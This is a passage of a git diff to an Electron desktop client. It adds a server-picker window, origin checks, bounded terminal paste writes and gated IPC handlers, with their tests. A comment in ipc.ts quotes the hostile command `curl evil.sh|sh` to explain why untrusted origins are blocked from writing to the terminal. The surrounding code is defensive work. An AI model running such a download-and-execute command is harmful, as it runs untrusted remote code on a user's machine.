+ // unlike an mtime comparison, which two writes a fraction of a millisecond
+ // apart can pass by accident.
+ writeFileSync(filePath, `${readFileSync(filePath, 'utf8')}\n// sentinel\n`)
+
+ expect(store.setOrigin('https://self-hosted.example')).toEqual({
+ ok: true,
+ origin: 'https://self-hosted.example',
+ })
+ expect(readFileSync(filePath, 'utf8')).toContain('// sentinel')
+ })
+
it('canonicalizes the apex production origin on setOrigin, not just on load', () => {
// Entering https://sim.ai mid-session must not persist the apex: the
// running session would use the wrong cookie partition and misclassify
@@ -223,6 +244,25 @@ describe('createConfigStore', () => {
})
})
+describe('isSimCloudOrigin', () => {
+ it('recognizes Sim-operated origins and nothing else', () => {
+ for (const origin of ['https://sim.ai', 'https://www.sim.ai', 'https://www.staging.sim.ai']) {
+ expect(isSimCloudOrigin(origin)).toBe(true)
+ }
+ // A lookalike host must not pass — the suffix check is on the parsed
+ // hostname, never a prefix or substring of the raw string.
+ for (const origin of [
+ 'https://sim.example.com',
+ 'https://sim.ai.evil.example',
+ 'https://notsim.ai',
+ 'http://localhost:3000',
+ 'not a url',
+ ]) {
+ expect(isSimCloudOrigin(origin)).toBe(false)
+ }
+ })
+})
+
describe('channelForOrigin', () => {
it('maps each environment origin to its channel', () => {
expect(channelForOrigin('https://sim.ai')).toBe('prod')
diff --git a/apps/desktop/src/main/config.ts b/apps/desktop/src/main/config.ts
index 654fbacfa35..14ce4b00f8d 100644
--- a/apps/desktop/src/main/config.ts
+++ b/apps/desktop/src/main/config.ts
@@ -179,6 +179,22 @@ export function canonicalOrigin(origin: string): string {
return ORIGIN_REWRITES[origin] ?? origin
}
+/**
+ * Whether an origin is one of Sim's own deployments rather than a self-hosted
+ * one. Sim-operated resources — the public status page above all — describe
+ * only these, so a shell pointed elsewhere must not be offered them: telling a
+ * self-hoster whose server is down to consult a page that is always green
+ * sends the person who most needs an answer to the one place that has none.
+ */
+export function isSimCloudOrigin(origin: string): boolean {
+ try {
+ const host = new URL(origin).hostname.toLowerCase()
+ return host === 'sim.ai' || host.endsWith('.sim.ai')
+ } catch {
+ return false
+ }
+}
+
/**
* Maps a server origin to its cookie/storage partition. Each origin gets an
* isolated persistent partition so sessions never leak across instances.
@@ -339,6 +355,12 @@ export function createConfigStore(
// only repairs it on the next launch. The canonical origin is also
// returned so the caller sees what was actually stored.
const origin = canonicalOrigin(validated.origin)
+ // Re-confirming the origin already stored is the common case in the
+ // server picker, and setOrigin's write is a synchronous mkdir + whole-file
+ // write + rename on the main thread. There is nothing to persist.
+ if (origin === settings.origin) {
+ return { ok: true, origin }
+ }
settings.origin = origin
// Not debounced: changing the origin tears the session down and
// reloads, so a pending write could be lost on the way out — and this
diff --git a/apps/desktop/src/main/index.ts b/apps/desktop/src/main/index.ts
index cf82af3da67..8af9f55d550 100644
--- a/apps/desktop/src/main/index.ts
+++ b/apps/desktop/src/main/index.ts
@@ -51,6 +51,7 @@ import { openExternalSafe } from '@/main/navigation'
import { createEventLog } from '@/main/observability'
import { ScopedEventRouter } from '@/main/scoped-event-router'
import { installGlobalGuards } from '@/main/security-guards'
+import { createServerWindow, relaunchApp } from '@/main/server-window'
import {
createSessionLifecycleCoordinator,
decideStartRoute,
@@ -78,6 +79,7 @@ function reportHandoffFailure(error: unknown): void {
}
const OFFLINE_PAGE = 'static/offline.html'
+const SERVER_PAGE = 'static/server.html'
const DOCK_ICON_FOR_CHANNEL = {
prod: 'dock-icon.png',
staging: 'dock-icon-staging.png',
@@ -473,6 +475,35 @@ function main(): void {
},
})
+ const serverWindow = createServerWindow({
+ config,
+ defaultOrigin: DEFAULT_ORIGIN,
+ pagePath: SERVER_PAGE,
+ preloadPath,
+ isPackaged: app.isPackaged,
+ getParentWindow: getMainWindow,
+ clearDeploymentScopedState: async () => {
+ // allSettled, not sequential awaits: these are independent stores, and a
+ // rejection from the first must not skip the second — leaving the store
+ // that would have cleared fine still holding the outgoing deployment's
+ // access. Each failure is named so the picker can say what survived.
+ const stores = [
+ { label: 'local file access', clear: () => localFilesystem.forgetAll() },
+ { label: 'built-in browser sessions', clear: () => clearAgentBrowserProfile() },
+ ]
+ const outcomes = await Promise.allSettled(stores.map((store) => store.clear()))
+ return outcomes.flatMap((outcome, index) => {
+ if (outcome.status === 'fulfilled') return []
+ logger.error('Could not clear deployment-scoped state', {
+ store: stores[index].label,
+ error: getErrorMessage(outcome.reason),
+ })
+ return [stores[index].label]
+ })
+ },
+ relaunch: relaunchApp,
+ })
+
/**
* Routes through the coordinator rather than tearing down directly: the
* coordinator holds the in-progress guard, clears the same handoff and grant
@@ -659,6 +690,11 @@ function main(): void {
check: () => updater?.check(),
install: () => updater?.install(),
},
+ server: {
+ open: () => serverWindow.open(),
+ getConfiguration: () => serverWindow.getConfiguration(),
+ setOrigin: (origin) => serverWindow.setOrigin(origin),
+ },
})
await ensureMainWindow()
installApplicationMenu({
@@ -666,6 +702,7 @@ function main(): void {
getMainWindow,
allowHttpLocalhost,
openSettings,
+ openServerSettings: () => serverWindow.open(),
newWindow: () => void createAndLoadAppWindow(),
newChat: () => void openMainWindowAt(newChatRoute(config.get('lastRoute'))),
handleFocusedResourceShortcut: (win, shortcut) =>
diff --git a/apps/desktop/src/main/ipc.test.ts b/apps/desktop/src/main/ipc.test.ts
index c20e907e55d..72081c3e956 100644
--- a/apps/desktop/src/main/ipc.test.ts
+++ b/apps/desktop/src/main/ipc.test.ts
@@ -1,5 +1,6 @@
import { readFileSync } from 'node:fs'
import { fileURLToPath } from 'node:url'
+import { PASTE_LIMITS } from '@sim/utils/paste'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
vi.mock('electron', () => import('@/test/electron-mock'))
@@ -130,7 +131,7 @@ import {
} from '@/main/browser-import'
import { getSearchSuggestions } from '@/main/browser-search/suggestions'
import { trackInputActivity } from '@/main/input-activity'
-import { type IpcDeps, registerIpcHandlers } from '@/main/ipc'
+import { type IpcDeps, openMicrophoneSettings, registerIpcHandlers } from '@/main/ipc'
import { LocalFilesystemService } from '@/main/local-filesystem'
import { TerminalRegistry } from '@/main/terminal/registry'
import { findCachedTerminalThemeProfile, listTerminalThemeProfiles } from '@/main/terminal-themes'
@@ -316,6 +317,11 @@ describe('registerIpcHandlers', () => {
check: vi.fn(),
install: vi.fn(),
},
+ server: {
+ open: vi.fn(),
+ getConfiguration: vi.fn(() => ({ origin: APP, defaultOrigin: APP, isSimCloud: true })),
+ setOrigin: vi.fn(async () => ({ ok: true as const, origin: APP, unchanged: true })),
+ },
}
registerIpcHandlers(deps)
})
@@ -332,6 +338,26 @@ describe('registerIpcHandlers', () => {
expect(shell.openExternal).toHaveBeenCalledTimes(1)
})
+ it('opens microphone privacy settings only for the trusted app origin', async () => {
+ const { invoke } = collectHandlers()
+ const handler = invoke.get('desktop:open-microphone-settings')
+
+ expect(await handler?.(evilEvent)).toBe(false)
+ expect(await handler?.(appEvent)).toBe(process.platform === 'darwin')
+ expect(shell.openExternal).toHaveBeenCalledTimes(process.platform === 'darwin' ? 1 : 0)
+ })
+
+ it('uses fixed native microphone settings URLs', async () => {
+ await expect(openMicrophoneSettings('darwin')).resolves.toBe(true)
+ expect(shell.openExternal).toHaveBeenLastCalledWith(
+ 'x-apple.systempreferences:com.apple.preference.security?Privacy_Microphone'
+ )
+
+ await expect(openMicrophoneSettings('win32')).resolves.toBe(true)
+ expect(shell.openExternal).toHaveBeenLastCalledWith('ms-settings:privacy-microphone')
+ await expect(openMicrophoneSettings('linux')).resolves.toBe(false)
+ })
+
it('keeps live search suggestions behind the app origin and privacy preference', async () => {
const { invoke } = collectHandlers()
const handler = invoke.get('browser-agent:search-suggestions')
@@ -1670,6 +1696,28 @@ describe('registerIpcHandlers', () => {
expect(write).not.toHaveBeenCalled()
})
+ it('rejects an oversized terminal paste before writing to the PTY', async () => {
+ const { invoke } = collectHandlers()
+ const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
+ vi.mocked(clipboard.readText).mockReturnValue('x'.repeat(PASTE_LIMITS.TERMINAL_BYTES + 1))
+
+ await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(
+ 'too-large'
+ )
+ expect(write).not.toHaveBeenCalled()
+ })
+
+ it('writes an admitted terminal paste in bounded chunks', async () => {
+ const { invoke } = collectHandlers()
+ const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
+ const text = 'x'.repeat(70 * 1024)
+ vi.mocked(clipboard.readText).mockReturnValue(text)
+
+ await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(true)
+ expect(write).toHaveBeenCalledTimes(2)
+ expect(write.mock.calls.map((call) => call[2]).join('')).toBe(text)
+ })
+
it('gates a command smuggled inside a fake OSC or DCS reply', () => {
const { on } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts
index b230af7ad4d..5f5d3f610fb 100644
--- a/apps/desktop/src/main/ipc.ts
+++ b/apps/desktop/src/main/ipc.ts
@@ -9,6 +9,8 @@ import {
} from '@sim/browser-protocol'
import {
type DesktopNotificationPayload,
+ type DesktopServerChangeResult,
+ type DesktopServerConfiguration,
type DesktopUpdateState,
type DesktopWindowState,
type DesktopZoomPercent,
@@ -17,14 +19,17 @@ import {
isDesktopZoomPercent,
isPendingDesktopScopeId,
} from '@sim/desktop-bridge'
+import { createLogger } from '@sim/logger'
import {
isTerminalOperation,
isTerminalToolName,
type TerminalToolArgs,
} from '@sim/terminal-protocol'
+import { getErrorMessage } from '@sim/utils/errors'
import { isRecordLike } from '@sim/utils/object'
+import { PASTE_LIMITS, utf8ByteLength } from '@sim/utils/paste'
import type { BrowserWindow, IpcMainEvent, IpcMainInvokeEvent, WebContents } from 'electron'
-import { clipboard, ipcMain } from 'electron'
+import { clipboard, ipcMain, shell } from 'electron'
import {
type BrowserToolQueueBoundary,
cancelActiveTool,
@@ -82,8 +87,51 @@ import type { ScopedEventRouter } from '@/main/scoped-event-router'
import type { TerminalRegistry } from '@/main/terminal/registry'
import { findCachedTerminalThemeProfile, listTerminalThemeProfiles } from '@/main/terminal-themes'
+const logger = createLogger('DesktopIpc')
+
/** Workspace/chat ids are opaque tokens; anything else never reaches a URL. */
const ID_PATTERN = /^[A-Za-z0-9_-]{1,128}$/
+const TERMINAL_WRITE_CHUNK_CHARACTERS = 64 * 1024
+
+function writeTerminalText(
+ terminal: TerminalRegistry,
+ scope: string,
+ terminalId: string,
+ text: string
+): void {
+ let start = 0
+ while (start < text.length) {
+ let end = Math.min(start + TERMINAL_WRITE_CHUNK_CHARACTERS, text.length)
+ const finalCode = text.charCodeAt(end - 1)
+ if (end < text.length && finalCode >= 0xd800 && finalCode <= 0xdbff) end -= 1
+ terminal.write(scope, terminalId, text.slice(start, end))
+ start = end
+ }
+}
+
+const MICROPHONE_SETTINGS_URLS: Partial> = {
+ darwin: 'x-apple.systempreferences:com.apple.preference.security?Privacy_Microphone',
+ win32: 'ms-settings:privacy-microphone',
+}
+
+/** Opens the native microphone privacy pane without accepting a renderer-provided URL. */
+export async function openMicrophoneSettings(
+ platform: NodeJS.Platform = process.platform
+): Promise {
+ const settingsUrl = MICROPHONE_SETTINGS_URLS[platform]
+ if (!settingsUrl) return false
+
+ try {
+ await shell.openExternal(settingsUrl)
+ return true
+ } catch (error) {
+ logger.warn('Could not open microphone privacy settings', {
+ error: getErrorMessage(error),
+ platform,
+ })
+ return false
+ }
+}
/**
* Desktop state is partitioned by the existing chat id. A new-chat view uses
@@ -301,6 +349,11 @@ export interface IpcDeps {
check: () => void
install: () => void
}
+ server: {
+ open: () => void
+ getConfiguration: () => DesktopServerConfiguration
+ setOrigin: (origin: string) => Promise
+ }
}
/**
@@ -620,6 +673,12 @@ export function registerIpcHandlers(deps: IpcDeps): void {
handler: (url) =>
typeof url === 'string' ? openExternalSafe(url, deps.allowHttpLocalhost()) : false,
},
+ 'desktop:open-microphone-settings': {
+ kind: 'invoke',
+ gate: 'app-origin',
+ denied: false,
+ handler: () => openMicrophoneSettings(),
+ },
// OAuth connect handoff: the whole flow runs in the system browser (state
// is cookie-bound to the initiating user agent), returning via loopback.
'desktop:oauth-connect': {
@@ -1505,7 +1564,10 @@ export function registerIpcHandlers(deps: IpcDeps): void {
if (!scope || typeof terminalId !== 'string') return false
const text = clipboard.readText()
if (!text) return false
- deps.terminal.write(scope, terminalId, text)
+ if (utf8ByteLength(text, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) {
+ return 'too-large'
+ }
+ writeTerminalText(deps.terminal, scope, terminalId, text)
return true
},
},
@@ -1694,7 +1756,8 @@ export function registerIpcHandlers(deps: IpcDeps): void {
handler: (sender, terminalId, data, rawScope) => {
const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope)
if (!scope || typeof terminalId !== 'string' || typeof data !== 'string') return
- deps.terminal.write(scope, terminalId, data)
+ if (utf8ByteLength(data, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) return
+ writeTerminalText(deps.terminal, scope, terminalId, data)
},
// An XSS'd or hostile origin must not reach `write(id, 'curl evil.sh|sh\r')`.
// Panel focus is deliberately not used — `terminal:focused` is a
@@ -1737,6 +1800,31 @@ export function registerIpcHandlers(deps: IpcDeps): void {
passSender: true,
handler: (sender) => deps.retryLoad(sender as WebContents),
},
+ // The `server:` family is local-page only, and deliberately so: the one
+ // surface that repoints the shell at another deployment must keep working
+ // when the current one is unreachable (the offline page is where a
+ // self-hoster with a typo'd origin actually lands), and must never be
+ // drivable by a page the current server serves.
+ 'server:open': {
+ kind: 'send',
+ gate: 'local-page',
+ handler: () => deps.server.open(),
+ },
+ 'server:get-configuration': {
+ kind: 'invoke',
+ gate: 'local-page',
+ denied: null,
+ handler: () => deps.server.getConfiguration(),
+ },
+ 'server:set-origin': {
+ kind: 'invoke',
+ gate: 'local-page',
+ denied: { ok: false, error: 'The server can only be changed from the Sim app itself.' },
+ handler: (origin) =>
+ typeof origin === 'string'
+ ? deps.server.setOrigin(origin)
+ : { ok: false, error: 'Server URL is required' },
+ },
}
const senderAllowed = (event: IpcMainEvent | IpcMainInvokeEvent, gate: ChannelGate): boolean => {
diff --git a/apps/desktop/src/main/menu.test.ts b/apps/desktop/src/main/menu.test.ts
index b98be440434..63dbc05357d 100644
--- a/apps/desktop/src/main/menu.test.ts
+++ b/apps/desktop/src/main/menu.test.ts
@@ -6,11 +6,11 @@ import { BrowserWindow, type MenuItemConstructorOptions } from 'electron'
import type { ConfigStore } from '@/main/config'
import { buildMenuTemplate, type MenuDeps } from '@/main/menu'
-function makeDeps(): MenuDeps {
+function makeDeps(origin = 'https://sim.ai'): MenuDeps {
return {
config: {
filePath: '/tmp/settings.json',
- getOrigin: vi.fn(() => 'https://sim.ai'),
+ getOrigin: vi.fn(() => origin),
setOrigin: vi.fn(),
get: vi.fn(() => undefined),
set: vi.fn(),
@@ -18,6 +18,7 @@ function makeDeps(): MenuDeps {
getMainWindow: vi.fn(() => null),
allowHttpLocalhost: vi.fn(() => false),
openSettings: vi.fn(),
+ openServerSettings: vi.fn(),
newWindow: vi.fn(),
newChat: vi.fn(),
handleFocusedResourceShortcut: vi.fn(() => false),
@@ -51,6 +52,7 @@ describe('buildMenuTemplate', () => {
expect(submenu(template, 'Sim').map((item) => item.label ?? item.role ?? item.type)).toEqual([
'about',
'Settings…',
+ 'Server…',
'Check for Updates…',
'Sign Out',
'separator',
@@ -105,6 +107,13 @@ describe('buildMenuTemplate', () => {
expect(help.map((item) => item.label)).toEqual(['Sim Documentation', 'Sim Status'])
})
+ // status.sim.ai reports on Sim's deployments only, so it is worse than
+ // useless to an operator whose own server is the one that is down.
+ it('drops Sim status for a self-hosted server', () => {
+ const help = submenu(buildMenuTemplate(makeDeps('https://sim.example.com')), 'Help')
+ expect(help.map((item) => item.label)).toEqual(['Sim Documentation'])
+ })
+
it('never exposes developer tools in the application menu', () => {
const view = submenu(buildMenuTemplate(makeDeps()), 'View')
expect(view.some((item) => item.role === 'toggleDevTools')).toBe(false)
diff --git a/apps/desktop/src/main/menu.ts b/apps/desktop/src/main/menu.ts
index d5594f2c5d1..4223e8a8b7b 100644
--- a/apps/desktop/src/main/menu.ts
+++ b/apps/desktop/src/main/menu.ts
@@ -1,6 +1,6 @@
import type { MenuItemConstructorOptions } from 'electron'
import { app, BrowserWindow, Menu } from 'electron'
-import type { ConfigStore } from '@/main/config'
+import { type ConfigStore, isSimCloudOrigin } from '@/main/config'
import { DOCS_URL, STATUS_URL } from '@/main/external-links'
import { openExternalSafe } from '@/main/navigation'
import type {
@@ -15,6 +15,8 @@ export interface MenuDeps {
getMainWindow: () => BrowserWindow | null
allowHttpLocalhost: () => boolean
openSettings: () => void
+ /** Opens the native server picker (see main/server-window.ts). */
+ openServerSettings: () => void
newWindow: () => void
newChat: () => void
/**
@@ -155,6 +157,7 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
submenu: [
{ role: 'about' },
{ label: 'Settings…', accelerator: 'CmdOrCtrl+,', click: deps.openSettings },
+ { label: 'Server…', click: deps.openServerSettings },
{ label: 'Check for Updates…', click: deps.checkForUpdates },
{ label: 'Sign Out', click: deps.signOut },
{ type: 'separator' },
@@ -250,10 +253,16 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
label: 'Sim Documentation',
click: () => void openExternalSafe(DOCS_URL, deps.allowHttpLocalhost()),
},
- {
- label: 'Sim Status',
- click: () => void openExternalSafe(STATUS_URL, deps.allowHttpLocalhost()),
- },
+ // Omitted for a self-hosted shell, like the offline page's status
+ // button — see isSimCloudOrigin.
+ ...(isSimCloudOrigin(deps.config.getOrigin())
+ ? [
+ {
+ label: 'Sim Status',
+ click: () => void openExternalSafe(STATUS_URL, deps.allowHttpLocalhost()),
+ },
+ ]
+ : []),
],
},
]
diff --git a/apps/desktop/src/main/server-window.test.ts b/apps/desktop/src/main/server-window.test.ts
new file mode 100644
index 00000000000..ced9788b13c
--- /dev/null
+++ b/apps/desktop/src/main/server-window.test.ts
@@ -0,0 +1,206 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+vi.mock('electron', () => import('@/test/electron-mock'))
+
+import type { ConfigStore, OriginValidation } from '@/main/config'
+import { createServerWindow, type ServerWindowDeps } from '@/main/server-window'
+
+const CURRENT = 'https://sim.example.com'
+const DEFAULT = 'https://www.sim.ai'
+
+function makeConfig(origin: string, validate: (raw: string) => OriginValidation): ConfigStore {
+ let stored = origin
+ return {
+ filePath: '/tmp/settings.json',
+ getOrigin: () => stored,
+ setOrigin: vi.fn((raw: string) => {
+ const result = validate(raw)
+ if (result.ok) stored = result.origin
+ return result
+ }),
+ get: vi.fn(() => undefined),
+ set: vi.fn(),
+ flush: vi.fn(),
+ } as unknown as ConfigStore
+}
+
+function makeDeps(overrides: Partial = {}): ServerWindowDeps {
+ return {
+ config: makeConfig(CURRENT, (raw) =>
+ raw.startsWith('https://') ? { ok: true, origin: raw } : { ok: false, error: 'bad origin' }
+ ),
+ defaultOrigin: DEFAULT,
+ pagePath: 'static/server.html',
+ preloadPath: '/tmp/preload.cjs',
+ isPackaged: false,
+ getParentWindow: () => null,
+ clearDeploymentScopedState: vi.fn(async (): Promise => []),
+ relaunch: vi.fn(),
+ ...overrides,
+ }
+}
+
+describe('server window', () => {
+ let deps: ServerWindowDeps
+
+ beforeEach(() => {
+ deps = makeDeps()
+ })
+
+ it('reports the configured origin alongside the build default', () => {
+ expect(createServerWindow(deps).getConfiguration()).toEqual({
+ origin: CURRENT,
+ defaultOrigin: DEFAULT,
+ isSimCloud: false,
+ })
+ })
+
+ // Drives whether the offline page offers Sim's status page, which describes
+ // only Sim's own deployments.
+ it('marks a sim.ai origin as Sim cloud', () => {
+ const cloud = makeDeps({
+ config: makeConfig('https://www.sim.ai', (raw) => ({ ok: true, origin: raw })),
+ })
+
+ expect(createServerWindow(cloud).getConfiguration().isSimCloud).toBe(true)
+ })
+
+ it('relaunches after storing a different origin', async () => {
+ const result = await createServerWindow(deps).setOrigin('https://sim.other.example')
+
+ expect(result).toEqual({ ok: true, origin: 'https://sim.other.example', unchanged: false })
+ expect(deps.config.flush).toHaveBeenCalled()
+ expect(deps.relaunch).toHaveBeenCalledTimes(1)
+ })
+
+ // The saved route carries the previous deployment's workspace id, and
+ // resolveStartRoute only discards a route on a confirmed 403 — a fresh
+ // partition answers 401, so a kept route would survive onto the new server.
+ it('drops the saved route when the origin changes', async () => {
+ await createServerWindow(deps).setOrigin('https://sim.other.example')
+
+ expect(deps.config.set).toHaveBeenCalledWith('lastRoute', undefined)
+ })
+
+ it('keeps the saved route when the origin is unchanged', async () => {
+ await createServerWindow(deps).setOrigin(CURRENT)
+
+ expect(deps.config.set).not.toHaveBeenCalled()
+ })
+
+ // Re-confirming the pre-filled URL is the common case here.
+ it('does not relaunch when the origin is unchanged', async () => {
+ const result = await createServerWindow(deps).setOrigin(CURRENT)
+
+ expect(result).toEqual({ ok: true, origin: CURRENT, unchanged: true })
+ expect(deps.relaunch).not.toHaveBeenCalled()
+ })
+
+ // Filesystem grants and the agent browser's jar are device-global with no
+ // origin key, so without this the incoming deployment inherits directory
+ // access and live third-party sessions the user granted the outgoing one.
+ it('clears deployment-scoped capabilities before relaunching', async () => {
+ await createServerWindow(deps).setOrigin('https://sim.other.example')
+
+ expect(deps.clearDeploymentScopedState).toHaveBeenCalledTimes(1)
+ expect(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0]).toBeLessThan(
+ vi.mocked(deps.relaunch).mock.invocationCallOrder[0]
+ )
+ })
+
+ it('does not clear them when the origin is unchanged', async () => {
+ await createServerWindow(deps).setOrigin(CURRENT)
+
+ expect(deps.clearDeploymentScopedState).not.toHaveBeenCalled()
+ })
+
+ // The picker re-enables its button while a request is pending, and the IPC
+ // boundary is reachable regardless of what the page does, so the transaction
+ // has to be serialized here rather than in the renderer.
+ it('refuses a second change while one is in flight', async () => {
+ let release: (() => void) | undefined
+ const gate = new Promise((resolve) => {
+ release = resolve
+ })
+ const slow = makeDeps({
+ clearDeploymentScopedState: vi.fn(async (): Promise => {
+ await gate
+ return []
+ }),
+ })
+ const handle = createServerWindow(slow)
+
+ const first = handle.setOrigin('https://sim.other.example')
+ const second = await handle.setOrigin('https://sim.third.example')
+
+ expect(second).toMatchObject({ ok: false })
+ expect(second).toHaveProperty('error', expect.stringContaining('already in progress'))
+ release?.()
+ await expect(first).resolves.toMatchObject({ ok: true, unchanged: false })
+ expect(slow.relaunch).toHaveBeenCalledTimes(1)
+ expect(slow.config.setOrigin).toHaveBeenCalledTimes(1)
+ expect(slow.config.setOrigin).toHaveBeenCalledWith('https://sim.other.example')
+ })
+
+ // The guard must not latch: a refused change has to leave the picker usable.
+ it('allows a later change once the first has settled', async () => {
+ const failing = makeDeps({
+ clearDeploymentScopedState: vi.fn(async () => ['local file access']),
+ })
+ const handle = createServerWindow(failing)
+
+ await handle.setOrigin('https://sim.other.example')
+ const second = await handle.setOrigin('https://sim.third.example')
+
+ expect(second).toMatchObject({ ok: false })
+ expect(second).toHaveProperty('error', expect.stringContaining('local file access'))
+ })
+
+ // Fail closed. A store that could not be emptied is access the incoming
+ // deployment would inherit and that startup would restore, so the change is
+ // refused outright — and because nothing is persisted until the teardown
+ // succeeds, refusing leaves the shell exactly where it was.
+ it('refuses the change when a store could not be cleared', async () => {
+ const failing = makeDeps({
+ clearDeploymentScopedState: vi.fn(async () => ['local file access']),
+ })
+
+ const result = await createServerWindow(failing).setOrigin('https://sim.other.example')
+
+ expect(result).toMatchObject({ ok: false })
+ expect(result).toHaveProperty('error', expect.stringContaining('local file access'))
+ // The stores clear independently, so the other one may already be empty and
+ // cannot be restored. Naming only the failure would read as "nothing
+ // happened", which is not what happened.
+ expect(result).toHaveProperty('error', expect.stringContaining('may already have been cleared'))
+ expect(failing.relaunch).not.toHaveBeenCalled()
+ expect(failing.config.setOrigin).not.toHaveBeenCalled()
+ expect(failing.config.getOrigin()).toBe(CURRENT)
+ })
+
+ it('refuses the change when the teardown throws outright', async () => {
+ const throwing = makeDeps({
+ clearDeploymentScopedState: vi.fn(async () => {
+ throw new Error('keychain unavailable')
+ }),
+ })
+
+ const result = await createServerWindow(throwing).setOrigin('https://sim.other.example')
+
+ expect(result).toMatchObject({ ok: false })
+ expect(throwing.relaunch).not.toHaveBeenCalled()
+ expect(throwing.config.getOrigin()).toBe(CURRENT)
+ })
+
+ // Validated up front with the shell's own rule, before anything is torn down
+ // or written, so a typo costs nothing.
+ it('surfaces a rejected origin without tearing anything down', async () => {
+ const result = await createServerWindow(deps).setOrigin('ftp://sim.example.com')
+
+ expect(result).toMatchObject({ ok: false })
+ expect(result).toHaveProperty('error', expect.stringContaining('HTTPS'))
+ expect(deps.clearDeploymentScopedState).not.toHaveBeenCalled()
+ expect(deps.relaunch).not.toHaveBeenCalled()
+ expect(deps.config.getOrigin()).toBe(CURRENT)
+ })
+})
diff --git a/apps/desktop/src/main/server-window.ts b/apps/desktop/src/main/server-window.ts
new file mode 100644
index 00000000000..03d6eb003b5
--- /dev/null
+++ b/apps/desktop/src/main/server-window.ts
@@ -0,0 +1,242 @@
+import type { DesktopServerChangeResult, DesktopServerConfiguration } from '@sim/desktop-bridge'
+import { createLogger } from '@sim/logger'
+import { getErrorMessage } from '@sim/utils/errors'
+import { app, BrowserWindow, nativeTheme, session } from 'electron'
+import type { ConfigStore, DesktopSettings } from '@/main/config'
+import { canonicalOrigin, isSimCloudOrigin, validateOriginInput } from '@/main/config'
+import {
+ backgroundColorFor,
+ createSecureWebPreferences,
+ setupPermissionHandlers,
+} from '@/main/window'
+
+const logger = createLogger('DesktopServerWindow')
+
+const WINDOW_WIDTH = 520
+const WINDOW_HEIGHT = 340
+
+/**
+ * The partition the server-selection window runs in.
+ *
+ * Deliberately NOT the app session's partition. This window exists to move the
+ * shell between deployments, so binding it to the partition of the deployment
+ * being left would tie the escape hatch to the state it is escaping — and the
+ * page is a bundled `file:` document that stores nothing, so it has no reason
+ * to touch a persistent jar at all.
+ */
+const SERVER_WINDOW_PARTITION = 'server-selection'
+
+/**
+ * Settings that describe the deployment rather than the device, and so must not
+ * survive a move to a different one. The home for this rule: `DesktopSettings`
+ * is a single global record with no per-origin namespace, so anything added
+ * there that names a Sim resource belongs in this list.
+ *
+ * `lastRoute` carries a workspace id in its path, so keeping it would open
+ * `/workspace/` on the new server. `resolveStartRoute` cannot rescue
+ * that: it discards a route only on a confirmed 403, and a fresh partition has
+ * no session, so the new server answers 401 and the stale route survives the
+ * probe. `browserKnownSites` describes the agent-browser profile that
+ * {@link ServerWindowDeps.clearDeploymentScopedState} clears, and is dropped
+ * with it so Sim is never left believing in sign-ins the profile no longer has.
+ */
+const ORIGIN_SCOPED_SETTINGS: readonly (keyof DesktopSettings)[] = [
+ 'lastRoute',
+ 'browserKnownSites',
+]
+
+export interface ServerWindowDeps {
+ config: ConfigStore
+ defaultOrigin: string
+ /** The bundled page to load, resolved by the caller like the offline page. */
+ pagePath: string
+ preloadPath: string
+ isPackaged: boolean
+ getParentWindow: () => BrowserWindow | null
+ /**
+ * Drops the capabilities the OUTGOING deployment was granted, and reports
+ * what it could not drop.
+ *
+ * Local-filesystem grants and the agent browser's cookie jar live in
+ * device-global stores with no origin key, and both are capabilities the user
+ * handed to a specific Sim server: directories its agent may read, and live
+ * third-party sessions its agent may drive. Carrying them across would let
+ * the next deployment act with authority it was never given — which is why
+ * sign-out clears exactly this pair.
+ *
+ * Returns the human-readable name of each store that survived; empty means
+ * everything is gone. Reporting rather than throwing is what lets one store's
+ * failure not hide another's, and lets the caller refuse to move.
+ */
+ clearDeploymentScopedState: () => Promise
+ /**
+ * Relaunches the shell against the newly stored origin. A full restart rather
+ * than an in-place swap: the origin decides the cookie partition, the update
+ * feed, the encrypted per-origin task state, and the identity every live
+ * browser view and PTY was opened under. Nothing in the app exposes a reset
+ * for that set — `ensureAppSession` and the partition cache are one-way
+ * memoizations, and the sign-out coordinator revokes server-side, which is
+ * wrong here (the old server's session should stay valid). The quit path
+ * already performs the orderly teardown, so relaunching reuses it.
+ */
+ relaunch: () => void
+}
+
+export interface ServerWindowHandle {
+ open(): void
+ getConfiguration(): DesktopServerConfiguration
+ setOrigin(origin: string): Promise
+}
+
+/**
+ * The native server picker: how a self-hosted operator points the shell at
+ * their own deployment.
+ *
+ * Native rather than a page in the web app, because the web app is served BY
+ * the origin being changed. Someone whose stored origin is unreachable — a
+ * typo, a VPN-only host, an instance that moved — can never reach an in-app
+ * settings route to fix it, which is exactly when they need this most. The
+ * same reasoning gates its IPC channels to bundled `file:` senders.
+ */
+export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle {
+ let win: BrowserWindow | null = null
+ /**
+ * Serializes the destructive part of a change, the way the sign-out
+ * coordinator guards its own teardown. The picker re-enables its button
+ * while a request is pending, and the IPC boundary is reachable regardless
+ * of what the page does, so without this two changes could interleave their
+ * teardown and their write and let the later write pick the next server.
+ */
+ let changeInFlight = false
+
+ const getConfiguration = (): DesktopServerConfiguration => {
+ const origin = deps.config.getOrigin()
+ return { origin, defaultOrigin: deps.defaultOrigin, isSimCloud: isSimCloudOrigin(origin) }
+ }
+
+ const close = (): void => {
+ if (win && !win.isDestroyed()) {
+ win.destroy()
+ }
+ win = null
+ }
+
+ const open = (): void => {
+ if (win && !win.isDestroyed()) {
+ win.show()
+ win.focus()
+ return
+ }
+ const parent = deps.getParentWindow()
+ // Every other session in the app installs a permission handler; without one
+ // Electron decides for itself what a page may ask the OS for. The page here
